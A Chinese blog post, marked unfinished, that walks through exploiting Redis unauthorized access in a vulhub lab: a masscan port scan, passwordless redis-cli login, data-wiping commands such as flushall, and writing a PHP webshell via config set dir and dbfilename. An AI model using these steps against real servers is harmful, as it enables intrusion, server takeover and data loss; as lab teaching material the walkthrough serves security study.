
Redis未授权访问漏洞
发布日期:2021-05-08 02:45:06
浏览次数:11
分类:精选文章
本文共 1421 字,大约阅读时间需要 4 分钟。
Redis
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。默认使用6379
端口。
漏洞原理
Redis因配置不当可以导致未授权访问,被攻击者恶意利用,这就是我们所说的Redis未授权访问漏洞。
新型攻击方式:在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。复现
靶机:192.168.41.139
攻击机:192.168.41.138准备阶段
在靶机打开环境
cd /vulhub/redis/4-unaccdocker-compose up -d
端口扫描
信息收集总在前,我们先使用masscan快速查看开放的端口。
masscan 192.168.41.139 -p 1-10000 --rate 100000

未授权登录
使用攻击机kali linux下的redis客户端进行远程登录。(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
redis-cli -h 192.168.41.139info
redis数据库的一些操作:
info 查看redis的信息和服务器信息keys * 查看参数keyget key 获得参数key的数据flushall 删除所有数据del key 删除键为key的数据
写入WebShell
通过redis在指定的web目录下写入一句话木马,用webshell管理工具连接可达到控制服务器的目的。
config set dir /var/www/htmlset xxx "\n\n\n \n\n\n"config set dbfilename shell.phpsave
然后使用工具相连即可。
未完发表评论
最新留言
网站不错 人气很旺了 加油
[***.192.178.218]2025年03月25日 23时10分42秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
MySQL删除数据库时的错误(errno: 39)
2021-05-08
关于MySQL连接时出现的错误之一
2021-05-08
eclipse下Struts2配置文件添加自动提示
2021-05-08
Win10 JDK配置环境变量以及为什么需要配置每部分的原因
2021-05-08
ubuntu学习笔记-常用文件、命令以及作用(hosts、vim、ssh)
2021-05-08
SLAM学习笔记-求解视觉SLAM问题
2021-05-08
target加载不出文件的原因之一
2021-05-08
顺序表和链表的优缺点
2021-05-08
普歌-允异团队-HashMap面试题
2021-05-08
Vue_cli实现抽奖
2021-05-08
还在一个一个手动安装虚拟机吗?Cobbler自动部署装机一键最小化安装打把游戏就好了
2021-05-08
C语言 希尔排序
2021-05-08
C 语言顺序表查找和折半查找
2021-05-08
Windows下Python安装与使用
2021-05-08
Django-天天生鲜项目
2021-05-08
Font Awesome图标库使用
2021-05-08
Node.js 入门第一讲:下载安装
2021-05-08
程序员应该知道的97件事
2021-05-08
我编程,我快乐—程序员职业规划之道
2021-05-08
谷歌浏览器如何设置不阻止弹窗弹出
2021-05-08